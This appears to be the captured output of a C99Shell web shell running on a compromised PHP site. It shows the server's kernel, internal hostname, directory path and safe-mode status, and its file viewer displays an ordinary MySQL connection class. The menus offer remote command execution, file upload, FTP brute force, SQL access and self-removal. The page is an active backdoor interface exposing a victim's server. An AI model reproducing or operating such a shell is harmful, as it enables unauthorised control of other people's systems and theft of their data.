!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/connections/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MySQLConnection.php (5.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class MySQLConnection extends Connection
{
    protected 
$host;
    
    protected 
$user;
    
    protected 
$pwd;
    
    protected 
$sys_dbname;
    
    protected 
$port;
    
    protected 
$mysqlVersion;
    
    protected 
$subqueriesSupported true;
    
    function 
__construct$params )
    {
        
parent::__construct$params );
    }

    
/**
     * Set db connection's properties
     * @param Array params
     */
    
protected function assignConnectionParams$params )
    {
        
parent::assignConnectionParams$params );
        
        
$this->host $params["connInfo"][0];  //strConnectInfo1
        
$this->user $params["connInfo"][1];  //strConnectInfo2
        
$this->pwd $params["connInfo"][2];   //strConnectInfo3
        
$this->port $params["connInfo"][3]; //strConnectInfo4
        
$this->sys_dbname $params["connInfo"][4]; //strConnectInfo5
    
}

    
/**
     *    @return Array
     */
    
protected function getDbFunctionsExtraParams()
    {
        
$extraParams parent::getDbFunctionsExtraParams();
        
$extraParams["conn"] = $this->conn;
        
        return 
$extraParams;
    }
    
    
/**
     * Open a connection to db
     */
    
public function connect()
    {
        global 
$cMySQLNames;

        if( !
$this->port )
            
$this->port 3306;
        
$hosts = array();
        
//    fix IPv6 slow connection issue
        
if( $this->host == "localhost" )
        {
            if( 
$_SESSION["myqsladdress"] )
                
$hosts[] = $_SESSION["myqsladdress"];
            else
                
$hosts[] = "127.0.0.1";
        }
        
$hosts[] = $this->host;
        
        foreach( 
$hosts as $h )
        {
            
$this->conn = @mysql_connect($h.":".$this->port$this->user$this->pwd);
            if( 
$this->conn )
            {
                if( 
$this->host == "localhost" )
                    
$_SESSION["myqsladdress"] = $h;
                break;
            }
        }
        
        if (!
$this->conn || !mysql_select_db($this->sys_dbname$this->conn)) 
        {
            unset( 
$_SESSION["myqsladdress"] );
            
$this->triggerErrormysql_error() );
        }
        
        if( 
$cMySQLNames != "" )
            @
mysql_query("set names ".$cMySQLNames);
    
        
$this->mysqlVersion "4";
        
$res = @mysql_query("SHOW VARIABLES LIKE 'version'"$this->conn);
        if( 
$row = @mysql_fetch_array($resMYSQL_ASSOC) )
            
$this->mysqlVersion $row["Value"];
        
        if( 
preg_match("/^[0-4]\./"$this->mysqlVersion$matches) && strpos($this->mysqlVersion"MariaDB") === FALSE //#10818 2        
            
$this->subqueriesSupported false;
        
        
$res = @mysql_query("SELECT @@SESSION.sql_mode as mode"$this->conn);
        if( 
$row = @mysql_fetch_array($resMYSQL_ASSOC) ){
            
$sql_mode $row["mode"];
            
$arr = array();
            
$arr explode(",",$sql_mode);
            
$sql_mode "";
            for( 
$i=0$i<count($arr); $i++){
                if(
$arr[$i]!="STRICT_ALL_TABLES" && $arr[$i]!="STRICT_TRANS_TABLES"){
                    if( 
$sql_mode )
                        
$sql_mode.=",";
                    
$sql_mode.=$arr[$i];
                }
            }
            if(
$sql_mode)
                @
mysql_query("set SESSION sql_mode='".$sql_mode."'"$this->conn);
        }
        
        return 
$this->conn;
    }
    
    
/**
     * Close the db connection
     */
    
public function close()
    {
        return 
mysql_close($this->conn);
    }
    
    
/**    
     * Send an SQL query
     * @param String sql
     * @return Mixed
     */
    
public function query$sql )
    {
        
$this->debugInfo($sql);
        
        
$ret mysql_query($sql$this->conn);
        if( !
$ret )
        {
            
$this->triggerError(mysql_error());
            return 
FALSE;
        }
        
        return new 
QueryResult$this$ret );
    }
    
    
/**    
     * Execute an SQL query
     * @param String sql
     */
    
public function exec$sql )
    {
        
$qResult $this->query$sql );
        if( 
$qResult )
            return 
$qResult->getQueryHandle();
            
        return 
FALSE;
    }
    
    
/**    
     * Get a description of the last error
     * @return String
     */
    
public function lastError()
    {
        return @
mysql_error();
    }
    
    
/**    
     * Get the auto generated id used in the last query
     * @return Number
     */
    
public function getInsertedId($key null$table null $oraSequenceName false)
    {
        return @
mysql_insert_id$this->conn );
    }
    
    
/**    
     * Fetch a result row as an associative array
     * @param Mixed qHanle        The query handle
     * @return Array
     */
    
public function fetch_array$qHandle )
    {
        return @
mysql_fetch_array($qHandleMYSQL_ASSOC);
    }
    
    
/**    
     * Fetch a result row as a numeric array
     * @param Mixed qHanle        The query handle     
     * @return Array
     */
    
public function fetch_numarray$qHandle )
    {
        return @
mysql_fetch_array($qHandleMYSQL_NUM);
    }
    
    
/**    
     * Free resources associated with a query result set 
     * @param Mixed qHanle        The query handle         
     */
    
public function closeQuery$qHandle )
    {
        @
mysql_free_result($qHandle);
    }

    
/**
     * Get number of fields in a result
     * @param Mixed qHanle        The query handle
     * @return Number
     */
    
public function num_fields$qHandle )
    {
        return @
mysql_num_fields($qHandle);
    }    
    
    
/**    
     * Get the name of the specified field in a result
     * @param Mixed qHanle        The query handle
     * @param Number offset
     * @return String
     */     
    
public function field_name$qHandle$offset )
    {
        return @
mysql_field_name($qHandle$offset);
    }
    
    
/**
     * @param Mixed qHandle
     * @param Number pageSize
     * @param Number page
     */
    
public function seekRecord($qHandle$n)
    {
        
mysql_data_seek($qHandle$n );
    }

    
/**
     * Check if the MYSQL version is lower than 5.0
     * @return Boolean
     */
    
public function checkDBSubqueriesSupport()
    {
        return 
$this->subqueriesSupported;
    }

    
/**
     * Check if SQL queries containing joined subquery are optimized
     * @return Boolean
     */
    
public function checkIfJoinSubqueriesOptimized()
    {        
        
// if MySQL of older than 5.6 version is used
        
if( preg_match("/^(?:(?:[0-4]\.)|(?:5\.[0-5]))/"$this->mysqlVersion$matches) )         
            return 
false;
            
        return 
true;
    }
    
    
/**
     * Execute an SQL query with blob fields processing
     * @param String sql
     * @param Array blobs
     * @param Array blobTypes
     * @return Boolean
     */
    
public function execWithBlobProcessing$sql$blobs$blobTypes = array() )
    {
        
$this->debugInfo($sql);
        return @
mysql_query($sql$this->conn);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0021 ]--